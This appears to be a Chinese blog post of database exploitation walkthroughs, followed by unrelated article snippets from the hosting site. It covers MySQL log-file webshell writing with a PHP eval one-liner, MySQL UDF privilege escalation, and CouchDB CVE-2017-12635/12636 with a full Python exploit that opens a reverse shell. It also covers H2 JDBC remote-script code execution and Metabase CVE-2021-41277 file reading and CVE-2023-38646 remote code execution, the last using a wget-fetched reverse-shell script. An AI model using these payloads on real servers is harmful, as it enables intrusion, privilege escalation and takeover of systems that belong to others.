数据库攻防学习之MySQL

MySQL

0x01mysql学习

MySQL 是瑞典的MySQL
AB公司开发的一个可用于各种流行操作系统平台的关系数据库系统,它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用,用的人数很多。

0x02环境搭建

这里演示用,phpstudy搭建的环境,然后安装phpmyadmin

0x03漏洞复现
日志文件包含getshell

利用前提

知道网站路径,mysql版本大于5.0

利用条件 需要可读可写的权限,也就是高权限账号

所用到的命令

show variables like ‘%general%’; 查看日志读写功能

SET GLOBAL general_log=‘on’;开启日志读写功能

select @@basedir; 查看mysql所在的绝对路径

SHOW VARIABLES LIKE
“secure_file_priv”;如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。

SET GLOBAL
general_log_file=‘C:/phpstudy_pro/WWW/shell.php’;修改日志文件路径

修改设置,该为开启,这样才能继续利用。

再次查询,可以发现已经发生了改变

访问验证

select ‘<?php eval($_POST["a"]);?>’;

总结,如果SHOW VARIABLES LIKE
“secure_file_priv”;为NULL则没办法使用into outfile
写文件,那么可以开启日志,修改日志文件路径和文件名为php,然后执行一个带有一句话的查询语句,完成getshell。

帮助网安学习,全套资料S信免费领取:
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

mysql udf提权

这里使用win10 +phpstudy,直接下个msyql就行了

udf提权是mysql的一种常见的提权方式。

什么是udf?

udf可以理解为用户自定义函数,可以用udf增加一些函数,在mysql里就能用这个函数了。

提权前提

获取mysql的控制权限。

mysql具有写入权限,即secure_file_priv的值为空。

show global variables like’%secure%';用这个查询

提权背景

拿到了mysql权限,没拿到服务器权限,可以通过mysql提权使其达到拿到服务器的权限

提权实验

实验版本mysql 5.5 操作系统win10

需要udf文件,可以从sqlmap里获取或者msf中获取。

这里可以直接用国光师傅的写好udf16进制

https://www.sqlsec.com/tools/udf.html

show global variables like’%secure%';

如果不是空的话可以这样修改,这个需要在mysql目录下的ini文件进行修改或者添加。

secure_file_priv=''然后重启服务。

如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL
安装目录下的 libplugin 文件夹下文件夹下才能创建自定义函数。

这里我自己在目录下创建一个,也可以用NTFS
ADS方法创建目录,但有可能不成功。

show
variables
like
‘plugin%’;

查询发现已经有了,然后进行文件写入。

路径D:phpstudy_proExtensionsMySQL5.5.29libplugin

如果有Can’t open shared library ‘udf.dll’,切换成32位试试。

实战中不成功,可以轮流尝试。

创建自定义函数并且调用命令

CREATE FUNCTION sys_eval RETURNS STRING SONAME ‘udf.dll’;

select sys_eval(‘whoami’);

select sys_eval(‘dir’);

发现已经成功并且是Administrator权限

couchdb数据库

漏洞介绍

ApacheCouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,CreditSuisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用

漏洞复现
CVE-2017-12635

PUT发包创建用户

选择内网映射端口为5984的抓包访问

http://192.168.48.133:54944/_utils/#login

这个为登陆应用

发包目的是增加用户,可以用bp或者postman

PUT /_users/org.couchdb.user:vulhub HTTP/1.1

Host:

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64;
x64; Trident/5.0)

Connection: close

Content-Type: application/json

Content-Length: 110

{

"type": "user",

"name": "vulhub",

"roles": ["_admin"],

"roles": [],

"password": "vulhub"

}

成功添加用户

CVE-2017-12636

CVE-2017-12636 exp 命令执行

import requests

import json

import base64

from requests.auth import HTTPBasicAuth

target = 'http://your-ip:5984'

command = rb"""sh -i >& /dev/tcp/10.0.0.1/443 0>&1"""

version = 1

session = requests.session()

session.headers = {

'Content-Type': 'application/json'

}

# session.proxies = {

# 'http': 'http://127.0.0.1:8085'

# }

session.put(target + '/_users/org.couchdb.user:wooyun', data='''{

"type": "user",

"name": "wooyun",

"roles": ["_admin"],

"roles": [],

"password": "wooyun"

}''')

session.auth = HTTPBasicAuth('wooyun', 'wooyun')

command = "bash -c '{echo,%s}|{base64,-d}|{bash,-i}'" %
base64.b64encode(command).decode()

if version == 1:

session.put(target + ('/_config/query_servers/cmd'),
data=json.dumps(command))

else:

host = session.get(target +
'/_membership').json()['all_nodes'][0]

session.put(target +
'/_node/{}/_config/query_servers/cmd'.format(host),
data=json.dumps(command))

session.put(target + '/wooyun')

session.put(target + '/wooyun/test', data='{"_id":
"wooyuntest"}')

if version == 1:

session.post(target + '/wooyun/_temp_view?limit=10',
data='{"language":"cmd","map":""}')

else:

session.put(target + '/wooyun/_design/test',
data='{"_id":"_design/test","views":{"wooyun":{"map":""}
},"language":"cmd"}')

h2database数据库

H2 是一个开源的嵌入式数据库引擎,纯 java
实现的关系型数据库,不受平台的限制。

未授权访问

发现其可以未授权访问jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;

在JDBC URL输入这个语句点击connect即可未授权访问

RCE姿势

在VPS里面创建个sql文件,然后远程加载利用服务。

re_shell.sql

CREATE TABLE test (

id INT NOT NULL

);

CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascript

Java.type("java.lang.Runtime").getRuntime().exec("bash -c
{echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';

bash -i >& /dev/tcp/ip/7888 0>&1

远程加载姿势如下,填入python启动的ip和端口

jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT
FROM 'http://IP:port/re_shell.sql';

mongodb数据库

大致介绍一下

MongoDB是一个基于分布式文件存储的数据库

由C++语言编写,旨在为WEB应用提供可扩展的高性能数据存储解决方案。

未授权访问漏洞

可以用msf检测

search mongodb

存在未授权访问漏洞

可以利用mongodb连接工具直接连接

metabase数据库分析

metabase是一款开源的简易但强大同时又无缝兼容大数据和传统数据库的分析工具

Metabase geojson任意文件读取漏洞 (CVE-2021-41277)

payload /api/geojson?url=file:/etc/passwd

Metabase 远程代码执行漏洞(CVE-2023-38646)

Metabase是一个开源的数据分析和可视化工具,它可以帮助用户轻松地连接到各种数据源,包括数据库、云服务和API,然后使用直观的界面进行数据查询、分析和可视化。
Metabase 存在远程代码执行漏洞,可导致攻击者在服务器上以运行 Metabase
服务器的权限执行任意代码。

这里使用vulhub的docker环境,vulfocus可能有问题没复现成功

GET访问

/api/session/properties

exp

POST /api/setup/validate HTTP/1.1

Host: your-ip

Content-Type: application/json

{

"token": "token值",

"details":

{

"is_on_demand": false,

"is_full_sync": false,

"is_sample": false,

"cache_ttl": null,

"refingerprint": false,

"auto_run_queries": true,

"schedules":

{},

"details":

{

"db":
"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1;CREATE
TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS
$$//javascriptnjava.lang.Runtime.getRuntime().exec('执行的命令')n$$--=x",

"advanced-options": false,

"ssl": true

},

"name": "test",

"engine": "h2"

}

}

验证一下

python启动一个http服务,然后exec执行curl ip:8899/1.txt

python3 -m http.server 8899

验证成功

尝试反弹shell

未能成功反弹shell,利用其他方法进行反弹shell,可以执行命令从VPS下载sh脚本然后在用命令运行该脚本进行反弹shell

创建个re_shell.sh,内容如下

!/bin/sh

bash -c 'exec bash -i >& /dev/tcp/ip/6667 0>&1'

执行 wget http://ip:port/re_shell.sh

执行

/bin/bash /tmp/re_shell.sh

成功反弹shell

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/289984.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

分布微服软件体系快速云端架构

1 概述 分布微服软件体系云端架构平台&#xff0c;以主流的NACOS服务器作为注册配置中心&#xff0c;采用主流的Gradle框架&#xff0c;内嵌Tomcat10以上版本&#xff0c;用于快速构造各类基于JDK17以上的信息应用系统的分布式微服务软件体系架构&#xff0c;可以适用关系型SQ…

django学习:页面渲染与请求和响应

1.请求过程 2.页面渲染 在app中新建一个目录&#xff08;Directory&#xff09;&#xff0c;文件名命名为templates。该文件名命名是固定的&#xff0c;不可命名出错&#xff0c;如若后续步骤出错&#xff0c;该目录文件名是一个检查的重点项目。在该目录下新建一个html文件&a…

Nginx 负载均衡集群 节点健康检查

前言 正常情况下&#xff0c;nginx 做反向代理负载均衡的话&#xff0c;如果后端节点服务器宕掉的话&#xff0c;nginx 默认是不能把这台服务器踢出 upstream 负载集群的&#xff0c;所以还会有请求转发到后端的这台服务器上面&#xff0c;这样势必造成网站访问故障 注&#x…

高德地图经纬度坐标导出工具

https://tool.xuexiareas.com/map/amap 可以导出单个点&#xff0c;也可以导出多个&#xff0c;多个点可以连成线&#xff0c;可用于前端开发时自己模拟“线“数据

解决burpsuite代理8080端口无法勾选以及卸载NI系列软件的方法

使用burpsuite中遇到这样一个问题 默认的8080端口无法绑定 提示端口已经被占用 尝试绑定其他端口&#xff0c;是可行的&#xff0c;也可以正常抓包 但是总感觉每次进来都设置添加一次&#xff0c;有点麻烦不舒服 那么我们来看一下8080端口到底被什么进程占用了 使用如下命令…

数据库攻防学习

免责声明 本文仅供学习和研究使用,请勿使用文中的技术用于非法用途,任何人造成的任何负面影响,与本号及作者无关。 Redis 0x01 redis学习 在渗透测试面试或者网络安全面试中可能会常问redis未授权等一些知识&#xff0c;那么什么是redis&#xff1f;redis就是个数据库&#xff…

【vue/uniapp】pdf.js 在一些型号的手机上不显示

引入&#xff1a; uniapp 项目通过 pdf.js 来在线浏览 pdf 链接&#xff0c;在微信小程序中都显示正常&#xff0c;但是通过 app 跳转小程序&#xff0c;在苹果、小米显示正常&#xff0c;但是华为和 oppo 就不显示&#xff0c;可以通过降 pdf.js 的版本来解决这个问题。 解决&…

在前端开发中,如何优化网站的加载速度?

在前端开发中&#xff0c;网站的加载速度是一个至关重要的因素&#xff0c;它直接影响着用户体验和搜索引擎优化&#xff08;SEO&#xff09;。一个快速、响应迅速的网站不仅能让用户更加满意&#xff0c;还能提高网站的排名和流量。那么&#xff0c;如何优化网站的加载速度呢&…

【第一期】操作系统期末大揭秘:知识回顾与重点整理

&#x1f308;个人主页&#xff1a;聆风吟 &#x1f525;系列专栏&#xff1a;网络奇遇记、数据结构 &#x1f516;少年有梦不应止于心动&#xff0c;更要付诸行动。 文章目录 &#x1f4cb;前言一. 操作系统概述1.1 操作系统定义1.2 操作系统的作用1.3 操作系统的功能1.4 操作…

Pruning Papers

[ICML 2020] Rigging the Lottery: Making All Tickets Winners 整个训练过程中mask是动态的&#xff0c;有drop和grow两步&#xff0c;drop是根据权重绝对值的大小丢弃&#xff0c;grow是根据剩下激活的权重中梯度绝对值生长没有先prune再finetune/retrain的两阶段过程 Laye…

顶顶通呼叫中心中间件配置指定振铃时间挂断(mod_cti基于FreeSWITCH)

介绍 一般情况默认是振铃60秒挂断&#xff0c;但是如果想振铃10秒就挂断可以根据下方配置方法一步步去配置。 一、通过线路控制振铃时间 打开ccadmin-》点击线路-》点击你需要控制振铃时间的线路-》配置呼叫超时-》点击更新。 二、通过队列外呼控制振铃时间 打开ccadmin-》…

RK3568平台 input输入子系统

一.input子系统简介 Input 子系统是管理输入的子系统&#xff0c; 和 pinctrl 和 gpio 子系统一样&#xff0c; 都是 Linux 内核针对某一类设备而创建的框架。 input 子系统处理输入事务&#xff0c; 任何输入设备的驱动程序都可以通过 input 输入子系统提供的接口注册到内核&…

springboot+redisTemplate多库操作

单库操作 我做了依赖管理&#xff0c;所以就不写版本号了添加依赖 <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId></dependency>配置文件 spring:redis:database: 2…

vue3+echart绘制中国地图并根据后端返回的坐标实现涟漪动画效果

1.效果图 2.前期准备 main.js app.use(BaiduMap, {// ak 是在百度地图开发者平台申请的密钥 详见 http://lbsyun.baidu.com/apiconsole/key */ak: sRDDfAKpCSG5iF1rvwph4Q95M6tDCApL,// v:3.0, // 默认使用3.0// type: WebGL // ||API 默认API (使用此模式 BMapBMapGL) });i…

GaussDB数据库使用COPY命令导数

目录 一、前言 二、GaussDB数据库使用COPY命令导数语法 1、语法COPY FROM 2、语法COPY TO 3、特别说明及参数示意 三、GaussDB数据库使用COPY命令导数示例 1、操作步骤 2、准备工作&#xff08;示例&#xff09; 3、把一个表的数据拷贝到一个文件&#xff08;示例&…

计算机视觉中的神经网络可视化工具与项目

前言 本文介绍了一些关于神经网络可视化的项目&#xff0c;主要有CNN解释器&#xff0c;特征图、卷积核、类可视化的一些代码和项目&#xff0c;结构可视化工具&#xff0c;网络结构手动画图工具。 CNN解释器 这是一个中国博士发布的名叫CNN解释器的在线交互可视化工具。 主要…

Eureka服务端

一般我们Server端会像下图一样&#xff0c;引入Eureka&#xff0c;下面就通过这个来分析Eureka服务端源码流程 一、服务端配置 EnableEurekaServer会引入EurekaServerMarkerConfiguration类 EurekaSeverMarkerConfiguration最终会引入Marker对象&#xff0c;这就是一个标记…

Canal+RabbitMQ实现MySQL数据同步至ClickHouse

ClickHouse作为一个被广泛使用OLAP分析引擎&#xff0c;在执行分析查询时的速度优势很好的弥补了MySQL的不足&#xff0c;但是如何将MySQL数据同步到ClickHouse就成了用户面临的第一个问题。本文利用Canal来实现ClickHouse实时同步MySQL数据&#xff0c;使用RabbitMQ来做消息队…

c++语言基础16-出现频率最高的字母

题目描述 给定一个只包含小写字母的字符串&#xff0c;统计字符串中每个字母出现的频率&#xff0c;并找出出现频率最高的字母&#xff0c;如果最高频率的字母有多个&#xff0c;输出字典序靠前的那个字母。 输入描述 包含多组测试数据&#xff0c;每组测试数据占一行。 输…

在ARMv8中aarch64与aarch32切换

需求描述 在项目调试过程中,由于内存或磁盘空间不足需要将系统从aarch64切换到aarch32的运行状态去执行,接下来记录cortexA53的调试过程。 相关寄存器描述 ARM64: SPSR_EL3 N (Negative):表示运算结果的最高位,用于指示运算结果是否为负数。 Z (Zero):表示运算结果是否…